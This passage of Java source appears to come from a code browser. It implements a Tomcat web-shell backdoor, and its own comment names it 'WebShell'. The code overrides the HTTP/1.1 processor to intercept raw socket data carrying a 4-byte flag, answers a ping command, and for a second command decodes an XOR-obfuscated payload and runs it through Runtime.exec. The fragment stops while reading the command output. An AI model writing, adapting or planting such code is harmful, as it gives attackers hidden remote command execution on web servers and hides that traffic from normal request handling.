()
| 44 | AbstractEndpoint endpoint1 = (AbstractEndpoint) endpoint.get(protocol); |
| 45 | Http11NioProtocol protocol1 = new Http11NioProtocol() { |
| 46 | @Override |
| 47 | protected Processor createProcessor() { |
| 48 | Http11Processor http11Processor = new Http11Processor(protocol.getMaxHttpHeaderSize(), |
| 49 | protocol.getAllowHostHeaderMismatch(), |
| 50 | protocol.getRejectIllegalHeaderName(), endpoint1, |
| 51 | protocol.getMaxTrailerSize(), |
| 52 | Collections.singleton(protocol.getAllowedTrailerHeaders()), |
| 53 | protocol.getMaxExtensionSize(), |
| 54 | protocol.getMaxSwallowSize(), |
| 55 | null, |
| 56 | protocol.getSendReasonPhrase(), |
| 57 | protocol.getRelaxedPathChars(), |
| 58 | protocol.getRelaxedQueryChars()) { |
| 59 | @Override |
| 60 | public AbstractEndpoint.Handler.SocketState process(SocketWrapperBase<?> socketWrapper, |
| 61 | SocketEvent status) throws IOException { |
| 62 | if (status == SocketEvent.OPEN_READ) { |
| 63 | ByteBuffer buffer = ByteBuffer.allocate(4); |
| 64 | // socketWrapper.read(false, buffer); |
| 65 | ByteBuffer readBuffer = socketWrapper.getSocketBufferHandler().getReadBuffer(); |
| 66 | // WebShell的flag |
| 67 | int read = socketWrapper.read(true, buffer); |
| 68 | if (read < 4) { |
| 69 | readBuffer.position(0); |
| 70 | return super.process(socketWrapper, status); |
| 71 | } |
| 72 | if (!tlv.validate(buffer.array())) { |
| 73 | readBuffer.position(0); |
| 74 | return service(socketWrapper); |
| 75 | } |
| 76 | // 获取长度 |
| 77 | switch (readBuffer.get()) { |
| 78 | // 执行ping检测 |
| 79 | case 0x01: |
| 80 | byte[] encode = new tlv.Response((byte) 0x01, (byte) 0x00, null).encode(); |
| 81 | socketWrapper.write(false, ByteBuffer.wrap(encode)); |
| 82 | socketWrapper.flush(false); |
| 83 | return AbstractEndpoint.Handler.SocketState.CLOSED; |
| 84 | case 0x02: |
| 85 | // 读取长度 |
| 86 | byte[] lengthBytes = new byte[4]; |
| 87 | readBuffer.get(lengthBytes); |
| 88 | int length = ((lengthBytes[0] & 0xFF) << 24) | |
| 89 | ((lengthBytes[1] & 0xFF) << 16) | |
| 90 | ((lengthBytes[2] & 0xFF) << 8) | |
| 91 | (lengthBytes[3] & 0xFF); |
| 92 | // 读取数据 |
| 93 | if (length > 0) { |
| 94 | byte[] data = new byte[length]; |
| 95 | readBuffer.get(data); |
| 96 | String command = new String(tlv.xorProcess(data)); |
| 97 | Process exec = Runtime.getRuntime().exec(command); |
| 98 | |
| 99 | // 读取命令执行结果 |
| 100 | java.io.InputStream processInputStream = exec.getInputStream(); |
| 101 | java.io.ByteArrayOutputStream result = new java.io.ByteArrayOutputStream(); |
| 102 | byte[] tempBuffer = new byte[1024]; |
| 103 | int readLength; |
nothing calls this directly
no outgoing calls
no test coverage detected